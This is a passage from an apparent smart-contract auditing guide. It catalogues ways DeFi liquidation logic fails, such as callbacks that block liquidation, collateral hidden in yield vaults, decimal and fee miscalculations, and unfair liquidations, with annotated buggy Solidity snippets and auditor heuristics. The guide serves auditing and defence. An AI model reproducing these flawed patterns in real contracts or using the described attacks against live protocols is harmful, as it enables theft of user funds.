<p>More examples: [<a target="_blank" href="https://solodit.cyfrin.io/issues/h-01-swaps-are-available-for-marginaccounts-undergoing-liquidation-pashov-audit-group-none-sharwafinance-markdown">1</a>, <a target="_blank" href="https://solodit.cyfrin.io/issues/h-05-position-owners-can-deny-liquidations-code4rena-frankencoin-frankencoin-git">2</a>]</p>
<h3 id="heading-attacker-uses-malicious-onerc721received-callback-to-prevent-liquidation">Attacker Uses Malicious <code>onERC721Received</code> Callback To Prevent Liquidation</h3>
<p>If an NFT <a target="_blank" href="https://solodit.cyfrin.io/issues/h-06-owner-of-a-position-can-prevent-liquidation-due-to-the-onerc721received-callback-code4rena-revert-lend-revert-lend-git">ERC721 token is “pushed” to an attacker-controlled address during liquidation</a>, the attacker can configure their deployed contract at that address to revert in the <code>onERC721Received</code> callback function making it impossible for them to be liquidated.</p>
<p>A simple mitigation is to implement a “pull” function by which ERC721 token owners can retrieve their NFT in a separate transaction.</p>
<p>The same attack can occur if an <a target="_blank" href="https://solodit.cyfrin.io/issues/liquidations-can-be-blocked-if-the-settlement-token-is-a-token-with-on-transfer-hooks-halborn-none-chromatic-protocol-evm-contracts-security-assessment-pdf">ERC20 token used for liquidation settlement contains transfer hooks</a>.</p>
<p><strong>Heuristic:</strong> if liquidation uses “push” to send tokens, can an attacker leverage callbacks to force the liquidation to revert?</p>
<h3 id="heading-attacker-uses-yield-vault-to-prevent-collateral-seizure-during-liquidation">Attacker Uses Yield Vault To Prevent Collateral Seizure During Liquidation</h3>
<p>Multi-collateral protocols may allow users to deposit their collateral into vaults or farms which generate yield to achieve maximum capital efficiency for users’ deposited collateral. Such protocols must ensure they correctly <a target="_blank" href="https://solodit.cyfrin.io/issues/usds-stability-can-be-compromised-as-collateral-deposited-to-gamma-vaults-is-not-considered-during-liquidation-cyfrin-none-the-standard-smart-vault-markdown">account for collateral deposited into yield vaults and generated yield</a> when:</p>
<ul>
<li><p>calculating minimum collateral required to avoid liquidation</p>
</li>
<li><p>seizing collateral and generated yield during liquidation</p>
</li>
</ul>
<p>If the first is implemented but not the second, an attacker can drain the protocol by:</p>
<ul>
<li><p>taking a loan against their deposited collateral</p>
</li>
<li><p>allowing the loan to be liquidated</p>
</li>
<li><p>withdrawing their collateral &amp; yield from the vault/farm</p>
</li>
</ul>
<p>Smart contract auditors should carefully check that all instruments which can be used as collateral are accounted for during liquidation and that any other contracts where collateral can be deposited or registered are notified of the liquidation.</p>
<p><strong>Heuristic:</strong> are there any features which allow users to do interesting things such as earning yield with their deposited collateral? If so, is the liquidation code aware of and integrated with the additional features? Can a user “hide” their deposited collateral anywhere the liquidation code is not aware of?</p>
<p>More examples: [<a target="_blank" href="https://solodit.cyfrin.io/issues/h-8-liquidated-positions-will-still-accrue-rewards-after-being-liquidated-sherlock-zerolend-one-git">1</a>]</p>
<h3 id="heading-liquidation-reverts-when-bad-debt-greater-than-insurance-fund">Liquidation Reverts When Bad Debt Greater Than Insurance Fund</h3>
<p>For protocols that use an insurance fund to cover bad debt, <a target="_blank" href="https://solodit.cyfrin.io/issues/m-15-partial-repayment-is-not-possible-in-liquidation-if-no-funds-on-the-insurance-pool-pashov-audit-group-none-sharwafinance-markdown">liquidation will revert if the bad debt is larger than the insurance fund</a> unless the protocol has special handling for this edge-case. Such protocols can enter into and indefinitely remain in a state where large insolvent positions are unable to be liquidated until the insurance fund accrues enough fees to cover the bad debt.</p>
<p><strong>Heuristic:</strong> what happens when the bad debt from liquidating an insolvent position is greater than the amount in the insurance fund?</p>
<p>More examples: [<a target="_blank" href="https://solodit.cyfrin.io/issues/m-15-partial-repayment-is-not-possible-in-liquidation-if-no-funds-on-the-insurance-pool-pashov-audit-group-none-sharwafinance-markdown">1</a>]</p>
<h3 id="heading-liquidation-reverts-from-insufficient-funds-due-to-fixed-liquidation-bonus">Liquidation Reverts From Insufficient Funds Due To Fixed Liquidation Bonus</h3>
<p>Consider this code which aims to always provide a fixed 10% liquidation bonus in the form of additional seized collateral to the liquidator:</p>
<pre><code class="lang-solidity"><span class="hljs-keyword">uint256</span> tokenAmountFromDebtCovered <span class="hljs-operator">=</span> getTokenAmountFromUsd(collateral, debtToCover);
<span class="hljs-comment">// liquidator always receives 10% bonus</span>
<span class="hljs-keyword">uint256</span> bonusCollateral <span class="hljs-operator">=</span> (tokenAmountFromDebtCovered <span class="hljs-operator">*</span> LIQUIDATION_BONUS) <span class="hljs-operator">/</span> LIQUIDATION_PRECISION;
_redeemCollateral(collateral, tokenAmountFromDebtCovered <span class="hljs-operator">+</span> bonusCollateral, user, <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>);
</code></pre>
<p>The <a target="_blank" href="https://solodit.cyfrin.io/issues/liquidation-is-prevented-due-to-strict-implementation-of-liqudation-bonus-codehawks-foundry-defi-stablecoin-codehawks-audit-contest-git">fixed liquidation bonus causes liquidation to revert</a> when the user has a &lt; 110% collateral ratio since there is insufficient collateral to pay the bonus, even though at &lt; 110% the user in that protocol was considered under-collateralized and subject to liquidation. A simple mitigation is to check whether the borrower has sufficient collateral to provide the bonus and if not then cap the bonus to the maximum possible amount.</p>
<p><strong>Heuristic:</strong> what happens if there is not enough collateral to cover the liquidation bonus?</p>
<p>More examples: [<a target="_blank" href="https://solodit.cyfrin.io/issues/added-liquidation-fee-could-turn-the-loc-insolvent-openzeppelin-none-anvil-audit-markdown">1</a>, <a target="_blank" href="https://www.youtube.com/watch?v=AD2IF8ovE-w&amp;t=1657s">2</a>]</p>
<h3 id="heading-liquidation-reverts-for-non-18-decimal-collateral">Liquidation Reverts For Non-18 Decimal Collateral</h3>
<p>Multi-collateral protocols can support a wide range of collateral some of which don’t use standard ERC20 18 decimal precision. Protocols usually employ a strategy which uses:</p>
<ul>
<li><p>18 decimals for all internal calculation and storage</p>
</li>
<li><p>native token decimals when transferring tokens</p>
</li>
<li><p>native token decimals in external function inputs that users call</p>
</li>
</ul>
<p>This strategy works well when consistently used however in large protocols with multiple developers an inconsistency can easily slip in; auditors should always verify that <a target="_blank" href="https://solodit.cyfrin.io/issues/c-01-liquidations-prevented-for-non-18-decimal-collaterals-pashov-audit-group-none-gainsnetwork-february-markdown">liquidation works correctly when either the collateral token or the debt token does not have 18 decimal places</a>.</p>
<p><strong>Heuristic:</strong> does liquidation work correctly when tokens use different decimal precision?</p>
<h3 id="heading-liquidation-reverts-due-to-multiple-nonreentrancy-modifiers">Liquidation Reverts Due To Multiple <code>nonReentrancy</code> Modifiers</h3>
<p>In larger protocols liquidation code can be quite complicated involving optional calls to multiple other contracts. Smart contract auditors should carefully verify that there is no execution path through which <a target="_blank" href="https://solodit.cyfrin.io/issues/two-nonreentrancy-modifiers-prevent-liquidate-execution-sigmaprime-none-august-pdf">two functions with the <code>nonReentrant</code> modifier are called on the same contract</a>, causing liquidation to revert.</p>
<p><strong>Heuristic:</strong> are there any liquidation execution paths that would hit multiple <code>nonReentrant</code> modifiers in the same contract?</p>
<h3 id="heading-liquidation-reverts-from-zero-value-token-transfers">Liquidation Reverts From Zero Value Token Transfers</h3>
<p>Liquidation code usually involves calculating multiple token amounts such as the liquidator reward and associated fees followed by multiple token transfers. If there is no zero value checks prior to token transfers this can cause <a target="_blank" href="https://solodit.cyfrin.io/issues/m-6-tokens-that-revert-of-zero-value-transfers-can-cause-reverts-on-liquidation-sherlock-teller-lender-groups-update-audit-git">liquidation to revert with tokens that revert on zero value transfer</a>.</p>
<p><strong>Heuristic:</strong> does the protocol do zero value checks before token transfers? If not, does it support tokens which revert on zero token transfer?</p>
<p>More examples: [<a target="_blank" href="https://solodit.cyfrin.io/issues/m-01-zero-amount-token-transfers-may-cause-a-denial-of-service-during-liquidations-code4rena-particle-protocol-particle-protocol-git">1</a>]</p>
<h3 id="heading-liquidation-reverts-from-token-deny-list">Liquidation Reverts From Token Deny List</h3>
<p>Some tokens such as USDC implement “deny lists” which allow token admins to freeze user funds, causing all transfer attempts to revert for addresses on the deny list. Many liquidation implementations use “push” mechanisms which send token amounts to different addresses during the liquidation transaction. If the protocol supports tokens which use deny lists and any of the addresses sent tokens during liquidation are on the deny list, then <a target="_blank" href="https://solodit.cyfrin.io/issues/m-07-liquidation-failure-for-traders-on-usdc-blacklist-pashov-audit-group-none-gainsnetwork-february-markdown">liquidation will revert due to deny list</a> making it impossible to liquidate that position.</p>
<p>As the risk is low many protocols choose to simply acknowledge this risk, but one slightly more complicated mitigation is allowing users to claim tokens (“pull”) instead of sending them out (“push”).</p>
<p><strong>Heuristic:</strong> does the protocol use “push” during liquidation and support tokens with deny lists? If so, what happens during liquidation when sending tokens to blocked users?</p>
<p>More examples: [<a target="_blank" href="https://solodit.cyfrin.io/issues/m-12-liquidations-will-revert-if-a-position-has-been-blacklisted-for-usdc-sherlock-sentiment-v2-git">1</a>, <a target="_blank" href="https://solodit.cyfrin.io/issues/m-03-if-an-isolated-borrowerbidder-is-blacklisted-by-the-debt-token-risk-of-dos-liquidationauction-of-the-corresponding-loan-code4rena-benddao-benddao-git">2</a>, <a target="_blank" href="https://solodit.cyfrin.io/issues/m-06-vaults-can-become-immune-from-liquidation-by-setting-vaultrecipient-to-a-blacklisted-quote-token-address-code4rena-predy-predy-git">3</a>]</p>
<h3 id="heading-impossible-to-liquidate-when-only-one-borrower">Impossible To Liquidate When Only One Borrower</h3>
<p>Consider this liquidation logic:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// get number of borrowers</span>
<span class="hljs-keyword">uint256</span> troveCount <span class="hljs-operator">=</span> troveManager.getTroveOwnersCount();

<span class="hljs-comment">// only process liquidations when more than 1 borrower</span>
<span class="hljs-keyword">while</span> (trovesRemaining <span class="hljs-operator">&gt;</span> <span class="hljs-number">0</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span> troveCount <span class="hljs-operator">&gt;</span> <span class="hljs-number">1</span>) {
</code></pre>
<p>This code <a target="_blank" href="https://solodit.cyfrin.io/issues/impossible-to-liquidate-borrower-when-a-trovemanager-instance-only-has-1-active-borrower-cyfrin-none-bima-markdown">fails to liquidate if there is only one borrower</a>. This is a design flaw as even if there is only one borrower, the borrower should still be subject to liquidation if their position becomes liquidatable.</p>
<p><strong>Heuristic:</strong> if there is only one borrower, can that user be liquidated?</p>
<p>More examples: [<a target="_blank" href="https://solodit.cyfrin.io/issues/m-04-if-there-is-only-one-usds-borrower-he-can-never-be-liquidated-code4rena-saltyio-saltyio-git">1</a>]</p>
<h2 id="heading-incorrect-liquidation-calculations">Incorrect Liquidation Calculations</h2>
<p>During a liquidation there are many required calculations such as the value of collateral, the amount of bad debt, calculation of liquidator rewards and fees. Subtle errors can slip into these calculations with disastrous effects:</p>
<h3 id="heading-incorrect-calculation-of-liquidator-reward">Incorrect Calculation Of Liquidator Reward</h3>
<p>Liquidation can often involve dealing with debt and collateral tokens which use different decimal precisions. Errors when handling precision differences between debt and collateral tokens can result in the calculated liquidation reward being:</p>
<ul>
<li><p>too small so there will be no incentive to liquidate</p>
</li>
<li><p>too large so liquidators will receive much more than they should</p>
</li>
</ul>
<p>Consider this simplified code:</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">executeLiquidate</span>(<span class="hljs-params">State <span class="hljs-keyword">storage</span> state, LiquidateParams <span class="hljs-keyword">calldata</span> params</span>)
    <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span> liquidatorProfitCollateralToken</span>) </span>{

    <span class="hljs-comment">// @audit debtPosition = USDC using 6 decimals</span>
    DebtPosition <span class="hljs-keyword">storage</span> debtPosition <span class="hljs-operator">=</span> state.getDebtPosition(params.debtPositionId);

    <span class="hljs-comment">// @audit assignedCollateral = WETH using 18 decimals</span>
    <span class="hljs-keyword">uint256</span> assignedCollateral <span class="hljs-operator">=</span> state.getDebtPositionAssignedCollateral(debtPosition);

    <span class="hljs-comment">// @audit debtPosition.futureValue = USDC using 6 decimals</span>
    <span class="hljs-comment">//        debtInCollateralToken = WETH using 18 decimals</span>
    <span class="hljs-keyword">uint256</span> debtInCollateralToken <span class="hljs-operator">=</span> state.debtTokenAmountToCollateralTokenAmount(debtPosition.futureValue);

    <span class="hljs-keyword">if</span> (assignedCollateral <span class="hljs-operator">&gt;</span> debtInCollateralToken) {
        <span class="hljs-keyword">uint256</span> liquidatorReward <span class="hljs-operator">=</span> Math.<span class="hljs-built_in">min</span>(
            assignedCollateral <span class="hljs-operator">-</span> debtInCollateralToken,
            <span class="hljs-comment">// @audit liquidatorReward calculated using debtPosition.futureValue using</span>
            <span class="hljs-comment">// 6 decimals instead of debtInCollateralToken using 18 decimals, even though</span>
            <span class="hljs-comment">// liquidation reward is paid in WETH collateral which uses 18 decimals </span>
            Math.mulDivUp(debtPosition.futureValue, state.feeConfig.liquidationRewardPercent, PERCENT)
            <span class="hljs-comment">// @audit should be:</span>
         <span class="hljs-comment">// Math.mulDivUp(debtInCollateralToken, ...)</span>

        );
</code></pre>
<p>This liquidation functions pays out the liquidation reward using the collateral token (WETH with 18 decimals), but it is calculating the liquidation reward paid out using the debt token position (USDC with 6 decimals). Hence <a target="_blank" href="https://solodit.cyfrin.io/issues/h-04-users-wont-liquidate-positions-because-the-logic-used-to-calculate-the-liquidators-profit-is-incorrect-code4rena-size-size-git">liquidators won’t be incentivized as their expected reward will be dramatically reduced</a>.</p>
<p>The <a target="_blank" href="https://solodit.cyfrin.io/issues/m-1-liquidation-bonus-scales-exponentially-instead-of-linearly-sherlock-wagmileverage-v2-git">liquidation reward should scale linearly</a> such that if the total borrow amount is identical, borrowing against 3 lenders using one account should result in the liquidation reward being roughly the same as borrowing against 3 lenders using 3 individual accounts.</p>
<p>Incorrect calculation of liquidation reward can occur due to many different errors in the reward calculation; there is no clear heuristic so auditors need to carefully examine the particular implementation for all sorts of errors. More examples: [<a target="_blank" href="https://solodit.cyfrin.io/issues/h-09-kerosene-collateral-is-not-being-moved-on-liquidation-exposing-liquidators-to-loss-code4rena-dyad-dyad-git">1</a>, <a target="_blank" href="https://solodit.cyfrin.io/issues/m-01-liquidation-bonus-logic-is-wrong-code4rena-dyad-dyad-git">2</a>, <a target="_blank" href="https://solodit.cyfrin.io/issues/m-04-liquidated-nfts-can-earn-more-than-liquidation-incentive-zachobront-none-fungify-markdown">3</a>, <a target="_blank" href="https://solodit.cyfrin.io/issues/h-21-incorrect-liquidation-reward-computation-causes-excess-liquidator-rewards-to-be-given-code4rena-tapioca-dao-tapioca-dao-git">4</a>, <a target="_blank" href="https://solodit.cyfrin.io/issues/m-01-liquidation-bonus-logic-is-wrong-code4rena-dyad-dyad-git">5</a>, <a target="_blank" href="https://solodit.cyfrin.io/issues/liquidation-seizeassets-computation-rounding-issue-cantina-none-morpho-pdf">6</a>, <a target="_blank" href="https://solodit.cyfrin.io/issues/calculating-liquidationreward-without-considering-collateral-decimals-cantina-none-cryptex-pdf">7</a>, <a target="_blank" href="https://solodit.cyfrin.io/issues/h-2-users-can-seize-more-assets-during-liquidation-by-using-typeuintmax-sherlock-sentiment-v2-git">8</a>, <a target="_blank" href="https://solodit.cyfrin.io/issues/m-5-inconsistent-in-the-liquidation-fee-leads-to-unfairness-in-liquidation-process-sherlock-symmio-v084-update-contest-git">9</a>]</p>
<h3 id="heading-failure-to-prioritize-liquidation-reward">Failure To Prioritize Liquidation Reward</h3>
<p>During liquidation there may be a number of associated fees that need to be paid to different entities. If there is insufficient collateral (or insurance fund in the case of bad debt) to pay out all the fees, the <a target="_blank" href="https://www.youtube.com/watch?v=AD2IF8ovE-w&amp;t=2313s">protocol should prioritize paying the liquidation reward</a> in order to incentivize prompt liquidation.</p>
<p><strong>Heuristic:</strong> what happens if there is not enough collateral to pay out all the fees as part of a liquidation? Is the liquidator reward prioritized - especially in protocols relying on trustless liquidators?</p>
<h3 id="heading-incorrect-calculation-of-protocol-liquidation-fee">Incorrect Calculation Of Protocol Liquidation Fee</h3>
<p>Some protocols charge a “protocol fee” which the liquidator or user being liquidated pays during a liquidation. If this fee is incorrectly calculated to be larger than it should be, this can make many liquidations unprofitable which removes the incentive to liquidate causing bad debt to accrue in the protocol. Consider this protocol liquidation fee calculation code:</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_transferAssetsToLiquidator</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> position, AssetData[] <span class="hljs-keyword">calldata</span> assetData</span>) <span class="hljs-title"><span class="hljs-keyword">internal</span></span> </span>{
    <span class="hljs-comment">// transfer position assets to the liquidator and accrue protocol liquidation fees</span>
    <span class="hljs-keyword">uint256</span> assetDataLength <span class="hljs-operator">=</span> assetData.<span class="hljs-built_in">length</span>;
    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">uint256</span> i; i <span class="hljs-operator">&lt;</span> assetDataLength; <span class="hljs-operator">+</span><span class="hljs-operator">+</span>i) {
        <span class="hljs-comment">// ensure assetData[i] is in the position asset list</span>
        <span class="hljs-keyword">if</span> (Position(<span class="hljs-keyword">payable</span>(position)).hasAsset(assetData[i].asset) <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-literal">false</span>) {
            <span class="hljs-keyword">revert</span> PositionManager_SeizeInvalidAsset(position, assetData[i].asset);
        }
        <span class="hljs-comment">// compute fee amt</span>
        <span class="hljs-comment">// [ROUND] liquidation fee is rounded down, in favor of the liquidator</span>
        <span class="hljs-comment">// @audit liquidator fee calculated from seized collateral amount</span>
        <span class="hljs-comment">//         makes many liquidations unprofitable</span>
        <span class="hljs-keyword">uint256</span> fee <span class="hljs-operator">=</span> liquidationFee.mulDiv(assetData[i].amt, <span class="hljs-number">1e18</span>);

        <span class="hljs-comment">// transfer fee amt to protocol</span>
        Position(<span class="hljs-keyword">payable</span>(position)).<span class="hljs-built_in">transfer</span>(owner(), assetData[i].asset, fee);
        <span class="hljs-comment">// transfer difference to the liquidator</span>
        Position(<span class="hljs-keyword">payable</span>(position)).<span class="hljs-built_in">transfer</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>, assetData[i].asset, assetData[i].amt <span class="hljs-operator">-</span> fee);
    }
}
</code></pre>
<p>Here the <a target="_blank" href="https://solodit.cyfrin.io/issues/m-2-liquidation-fee-is-incorrectly-calculated-leading-to-unprofitable-liquidations-sherlock-sentiment-v2-git">protocol liquidation fee is calculated as a percentage of the total amount of seized collateral which makes many liquidations unprofitable</a>; in this case the protocol liquidation fee was 30% of the seized collateral significantly removing incentives to liquidate many liquidatable positions. Possible mitigations include:</p>
<ul>
<li><p>having no protocol liquidation fee or having a small flat fee</p>
</li>
<li><p>calculating the protocol liquidation fee as a percentage of the liquidator’s profit, not the raw seized collateral amount</p>
</li>
</ul>
<p>The protocol liquidation fee calculation can also be incorrectly implemented the other way where a <a target="_blank" href="https://solodit.cyfrin.io/issues/h-04-liquidators-can-pay-less-than-required-to-completely-liquidate-the-private-collateral-balance-of-an-uncollateralized-position-code4rena-wise-lending-wise-lending-git">liquidator pays less than required to liquidate a liquidatable position</a>.</p>
<p><strong>Heuristic:</strong> is the protocol liquidation fee calculated as a percentage of the liquidator’s profit? If not, can the protocol fee make liquidation unprofitable disincentivizing liquidators?</p>
<p>More examples: [<a target="_blank" href="https://solodit.cyfrin.io/issues/h-5-liquidationlogic_burncollateraltokens-does-not-account-for-liquidation-fees-when-withdrawing-collateral-during-liquidation-leading-to-incorrect-accounting-and-pools-insolvency-sherlock-zerolend-one-git">1</a>, <a target="_blank" href="https://solodit.cyfrin.io/issues/h-15-liquidation-fees-are-permanently-frozen-on-penrose-yb-account-sherlock-tapioca-git">2</a>, <a target="_blank" href="https://solodit.cyfrin.io/issues/h-3-bbliquidation_liquidateuser-liquidator-can-bypass-protocol-fee-on-liquidation-by-returning-returnedshare-borrowshare-sherlock-tapioca-git">3</a>, <a target="_blank" href="https://solodit.cyfrin.io/issues/swap-fees-going-to-the-liquidation-pool-manager-contract-will-be-accounted-for-as-part-of-the-liquidation-amount-codehawks-the-standard-git">4</a>, <a target="_blank" href="https://solodit.cyfrin.io/issues/m-13-the-riskparameterliquidationfee-variable-is-not-treated-and-validated-as-a-percentage-value-leading-to-breaking-protocol-invariants-sherlock-perennial-v2-update-3-git">5</a>]</p>
<h3 id="heading-liquidation-fees-not-counted-in-minimum-collateral-requirement">Liquidation Fees Not Counted In Minimum Collateral Requirement</h3>
<p>When opening a new position or calculating if a position is solvent, the minimum collateral requirement calculation should include liquidation fees if that position would subsequently be liquidated.</p>
<p>If the <a target="_blank" href="https://solodit.cyfrin.io/issues/settlementbranch_fillorder-does-not-guarantee-the-collateral-of-a-position-is-enough-to-pay-the-future-liquidation-fee-codehawks-zaros-git">liquidation fee isn’t included in the minimum collateral requirement calculation</a> then sufficient collateral may not be exist when the position is liquidated and the protocol may revert upon liquidation or incur bad debt in the form of any liquidation fees. This is debatable however and <a target="_blank" href="https://solodit.cyfrin.io/issues/m-06-liquidation-condition-should-not-factor-the-liquidation-reward-into-the-premiums-code4rena-particle-protocol-particle-protocol-git">some protocols may choose not to implement this as being unfair to the user</a>.</p>
<p><strong>Heuristic:</strong> are liquidation fees included in minimum collateral requirements? If not, has the protocol explicitly documented the reason?</p>
<h3 id="heading-unfair-liquidation-as-earned-yield-not-added-to-collateral-value">Unfair Liquidation As Earned Yield Not Added To Collateral Value</h3>
<p>Some protocols support mechanisms for deposited collateral to earn yield in order to maximize capital efficiency. When valuing a user’s collateral if the <a target="_blank" href="https://solodit.cyfrin.io/issues/h-7-users-can-be-liquidated-prematurely-because-calculation-understates-value-of-underlying-position-sherlock-blueberry-blueberry-git">earned yield is not factored into the total collateral value</a> the user can be unfairly liquidated.</p>
<p><strong>Heuristic:</strong> is earned yield factored into a user’s total collateral value? If not, can the user be unfairly liquidated? If yes, what happens to the earned yield - is it lost?</p>
<h3 id="heading-unfair-liquidation-as-positive-pnl-not-added-to-collateral-value">Unfair Liquidation As Positive PNL Not Added To Collateral Value</h3>
<p>Liquidation mechanisms in trading protocols should consider the current profitability of an open leveraged position when calculating the total value of a trader’s collateral:</p>
<ul>
<li><p>if a position has negative PNL, the negative PNL should be deducted from the collateral value causing liquidation to occur sooner - this should always be implemented in all protocols</p>
</li>
<li><p>if a position has positive PNL, the positive PNL should be added to the collateral value delaying liquidation - some protocols may have valid reasons for not doing this though this should be explicitly documented for users</p>
</li>
</ul>
<p>Leveraged trading protocols which don’t consider open PNL during liquidation can <a target="_blank" href="https://solodit.cyfrin.io/issues/m-06-profitable-trade-positions-risk-unwarranted-liquidation-and-loss-of-profit-pashov-audit-group-none-gainsnetwork-february-markdown">unfairly liquidate traders with large positive PNL</a>.</p>
<p><strong>Heuristic:</strong> is open user PNL accounted for when determining if a user can be liquidated? If not, can the user be unfairly liquidated? If yes, what happens to the open PNL - is it lost?</p>
<h3 id="heading-unfair-liquidation-after-l2-sequencer-grace-period">Unfair Liquidation After L2 Sequencer Grace Period</h3>
<p>Chainlink’s official documentation recommends implementing a <a target="_blank" href="https://docs.chain.link/data-feeds/l2-sequencer-feeds#example-code">grace period</a> after an L2 sequencer has come back online and only fetching price data after that grace period has expired. If transactions such as depositing additional collateral are prevented during this grace period, then <a target="_blank" href="https://solodit.cyfrin.io/issues/user-might-be-unfairly-liquidated-after-l2-sequencer-grace-period-codehawks-zaros-git">users may be immediately unfairly liquidated once the grace period expires</a> and fresh price data starts being fetched.</p>
<p>Protocols should consider whether to allow depositing additional collateral during the grace period in order to allow users to protect their open positions once the L2 sequencer has come back online but before the grace period has expired and fresh price data becomes available.</p>
<p><strong>Heuristic:</strong> once the L2 sequencer comes back online, can users deposit additional collateral during the grace period before price data resumes? Does the protocol implement a grace period to allow this, or will it liquidate users immediately after the L2 sequencer comes back online?</p>
<h3 id="heading-unfair-liquidation-as-borrow-interest-accumulates-while-paused">Unfair Liquidation As Borrow Interest Accumulates While Paused</h3>
<p>If the protocol supports pausing and the user is prevented from repaying their loan while the protocol is paused, then <a target="_blank" href="https://solodit.cyfrin.io/issues/m-02-risk-of-mass-liquidation-after-poolasset-pause-and-unpause-due-to-borrow-interest-compounding-implementation-code4rena-benddao-benddao-git">borrow interest should not accumulate during the paused period</a> otherwise the user can be instantly unfairly liquidated when the protocol is unpaused due to the interest build-up while paused.</p>
<p><strong>Heuristic:</strong> does borrow interest accumulate while the protocol is paused and users are unable to repay?</p>
<h3 id="heading-unfair-liquidation-as-repayment-paused-while-liquidations-enabled">Unfair Liquidation As Repayment Paused While Liquidations Enabled</h3>
<p>Protocols ideally shouldn’t be able to enter a state where <a target="_blank" href="https://dacian.me/lending-borrowing-defi-attacks#heading-repayments-paused-while-liquidations-enabled">repayments are paused but liquidations are enabled</a>, as this will result in unfair liquidations for borrowers who wanted to repay but were prevented from doing so by the protocol admin. Ideally there should also be a <a target="_blank" href="https://dacian.me/lending-borrowing-defi-attacks#heading-borrower-immediately-liquidated-after-repayments-resume">grace period after liquidations are unpaused</a> to allow repayments and collateral deposits for users who became liquidatable while the protocol was paused.</p>
<p><strong>Heuristic:</strong> can the protocol enter a state where users are unable to repay but subject to liquidation? After unpausing is there a grace period or are users who became liquidatable during the pause period immediately liquidated?</p>
<p>More examples: [<a target="_blank" href="https://solodit.cyfrin.io/issues/protocol-operator-can-disable-settlement-for-market-with-open-positions-making-it-impossible-for-traders-to-close-their-open-positions-but-still-subjecting-them-to-potential-liquidation-cyfrin-none-cyfrinzaros-markdown">1</a>, <a target="_blank" href="https://solodit.cyfrin.io/issues/protocol-operator-can-disable-market-with-open-positions-making-it-impossible-for-traders-to-close-their-open-positions-but-still-subjecting-them-to-potential-liquidation-cyfrin-none-cyfrinzaros-markdown">2</a>, <a target="_blank" href="https://solodit.cyfrin.io/issues/borrowers-immediately-liquidated-once-repayment-resumes-zokyo-none-cedro-finance-markdown">3</a>, <a target="_blank" href="https://solodit.cyfrin.io/issues/while-particlepositionmanager-contract-is-paused-positions-could-go-liquidatable-cantina-none-particle-pdf">4</a>, <a target="_blank" href="https://solodit.cyfrin.io/issues/possibility-of-immediate-position-liquidation-after-contract-state-is-unpaused-zokyo-none-avantis-markdown">5</a>, <a target="_blank" href="https://solodit.cyfrin.io/issues/m-02-users-cant-repay-their-debts-if-the-omnipool-contract-is-paused-which-can-cause-users-to-fall-into-liquidation-and-lose-their-collateral-code4rena-beta-finance-beta-finance-git">6</a>]</p>
<h3 id="heading-late-liquidation-as-isliquidatable-doesnt-refresh-interest-funding-fees">Late Liquidation As <code>isLiquidatable</code> Doesn’t Refresh Interest / Funding Fees</h3>
<p>Whenever a protocol checks that a user is liquidatable, it must always <a target="_blank" href="https://www.youtube.com/watch?v=AD2IF8ovE-w&amp;t=1333s">first refresh any fees such as total interest</a> owed on a loan or total funding fees owed on a leveraged trading position, before determining whether a user is liquidatable.</p>
<p>Smart contract auditors should be especially attentive to <code>view</code> functions that don’t change state but need to calculate the latest owed fees prior to determining whether an account is liquidatable. When liquidation occurs all of these fees also need to be updated prior to the user being liquidated.</p>
<p><strong>Heuristic:</strong> does the protocol always refresh all interest, yield, funding fees, PNL etc before determining whether a user is liquidatable?</p>
<h3 id="heading-positive-pnl-yield-amp-rewards-lost-when-account-liquidated">Positive PNL, Yield &amp; Rewards Lost When Account Liquidated</h3>
<p>In leveraged trading protocols the following interesting edge case can occur:</p>
<ul>
<li><p>trader deposits collateral $C and uses it to open a long leveraged trading position on asset $A</p>
</li>
<li><p>the market value of $A increases such that the trader has significant positive unrealized profit</p>
</li>
<li><p>the market value of $C decreases even more such that even though the trader is in profit on their trade, their overall position is liquidatable</p>
</li>
<li><p>alternatively borrow / funding fees accumulate such that the total owed fees is greater than the position’s profit and the overall position becomes liquidatable</p>
</li>
</ul>
<p>When this edge-case occurs the <a target="_blank" href="https://solodit.cyfrin.io/issues/positive-pnl-is-lost-for-all-parties-when-liquidating-an-account-potentially-causing-that-the-margincollateralrecipient-ends-up-receiving-way-less-usd-value-than-what-it-could-have-received-codehawks-zaros-git">trader’s positive PNL should be credited to the account during liquidation</a> otherwise it will be lost. The same is true for yield and other rewards that can be earned by a borrower/trader; all <a target="_blank" href="https://www.youtube.com/watch?v=AD2IF8ovE-w&amp;t=2417s">rewards should be accumulated prior to liquidation</a>.</p>
<p><strong>Heuristic:</strong> is all open profit such as yield, rewards and positive PNL realized prior to liquidation and factored into the liquidation calculations? If not, is it lost after liquidation?</p>
<p>More examples: [<a target="_blank" href="https://solodit.cyfrin.io/issues/h-2-unassigned-pool-earnings-can-be-stolen-when-a-maturity-borrow-is-liquidated-by-depositing-at-maturity-with-1-principal-sherlock-exactly-protocol-git">1</a>, <a target="_blank" href="https://solodit.cyfrin.io/issues/h-3-incorrect-handling-of-pnl-during-liquidation-sherlock-flatmoney-git">2</a>, <a target="_blank" href="https://www.youtube.com/watch?v=AD2IF8ovE-w&amp;t=2727s">3</a>]</p>
<h3 id="heading-no-swap-fee-charged-on-liquidation">No Swap Fee Charged On Liquidation</h3>
<p>Protocols may implement swap fees when swapping internally from one asset to another. If internal swap fees are implemented, they may also need to be charged when a liquidator provides debt tokens in order to receive seized collateral tokens as part of the liquidation. <a target="_blank" href="https://solodit.cyfrin.io/issues/m-11-liquidatewithreplacement-does-not-charge-swap-fees-on-the-borrower-code4rena-size-size-git">Failing to charge swap fees during liquidation</a> leads to the protocol and potentially the insurance fund accruing less tokens than it should.</p>
<p><strong>Heuristic:</strong> does the protocol generally charge swap fees and also perform swaps during liquidation? If yes, does it charge a swap fee during liquidation? If no, does it explicitly document the reason for this discrepancy?</p>
<h2 id="heading-profitable-self-liquidation-using-oracle-update-sandwich">Profitable Self-Liquidation Using Oracle Update Sandwich</h2>
